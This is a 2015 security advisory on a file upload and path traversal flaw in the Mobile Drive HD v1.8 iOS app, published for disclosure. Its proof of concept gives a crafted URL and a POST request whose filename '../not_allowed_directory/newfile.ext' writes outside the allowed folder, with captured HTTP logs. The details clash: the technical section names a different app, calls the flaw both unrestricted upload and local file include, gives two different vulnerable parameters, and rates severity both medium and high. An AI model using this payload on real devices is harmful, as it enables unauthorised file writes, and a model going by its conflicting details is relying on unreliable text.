Lucene search

K
vulnerlabVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]VULNERABLE:1446
HistoryMar 11, 2015 - 12:00 a.m.

Mobile Drive HD v1.8 - File Upload Web Vulnerability

2015-03-1100:00:00
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]
www.vulnerability-lab.com
9
Document Title:
===============
Mobile Drive HD v1.8 - File Upload Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1446


Release Date:
=============
2015-03-11


Vulnerability Laboratory ID (VL-ID):
====================================
1446


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. Mobile Drive allows you to manage 
documents and organize them. You can quickly upload and download documents via email and the popular cloud storage services.

(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/mobile-drive-hd-document-cloud/id626102554 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered file upload web vulnerability in the Mobile Drive HD v1.8 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Keke Cai
Product: Mobile Drive HD- iOS Mobile Web Application 1.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An unrestricted file upload web vulnerability has been discovered in the official USB Disk Free - File Manager & Transfer v1.0 iOS mobile application.
The file upload vulnerability allows remote attackers to upload an arbitrary (malicious) file to compromise the iOS web-application. 

The file upload vulnerability is located in the `name` value of the `Albums` module. Remote attackers are able to intercept the 
vulnerable name value in the upload POST method request to compromise the app path. The attacker can use a live session tamper in 
http to change the album name parameter to a malicious source.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
The unrestricted file upload web vulnerability can be exploited by local attackers without privileged application user accounts or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8080/files/%3C../not_allowed_directory/newfile.ext


PoC: Vulnerable Source
<tr class="shadow"><td><a href="/%3C./not_allowed_directory/newfile.ext" class="file">%3C./not_allowed_directory/newfile.ext</a></td><td class='del'>
<form action='%3C./not_allowed_directory/newfile.ext' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files 
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------21144193462
Content-Disposition: form-data; name="newfile"; filename="../not_allowed_directory/newfile.ext"
-
Status: 200[OK]
GET http://localhost:8080/
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2739]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/jquery.js
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[55774]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/files?../not_allowed_directory/newfile.ext
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/javascript, */*]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[62]
      Cache-Control[private, max-age=0, must-revalidate]
      Content-Type[text/plain; charset=utf-8]
      Date[Mo., 09 März 2015 14:24:13 GMT]


Reference(s):
http://localhost:8080/files/
http://localhost:8080/jquery.js


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks.
Encode the output in the file dir index list with the vulnerable name value to prevent an application-side injection attacks.


Security Risk:
==============
The security risk of the unrestricted file upload web vulnerability in the upload module is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 	       		- [email protected]
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
([email protected] or [email protected]) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™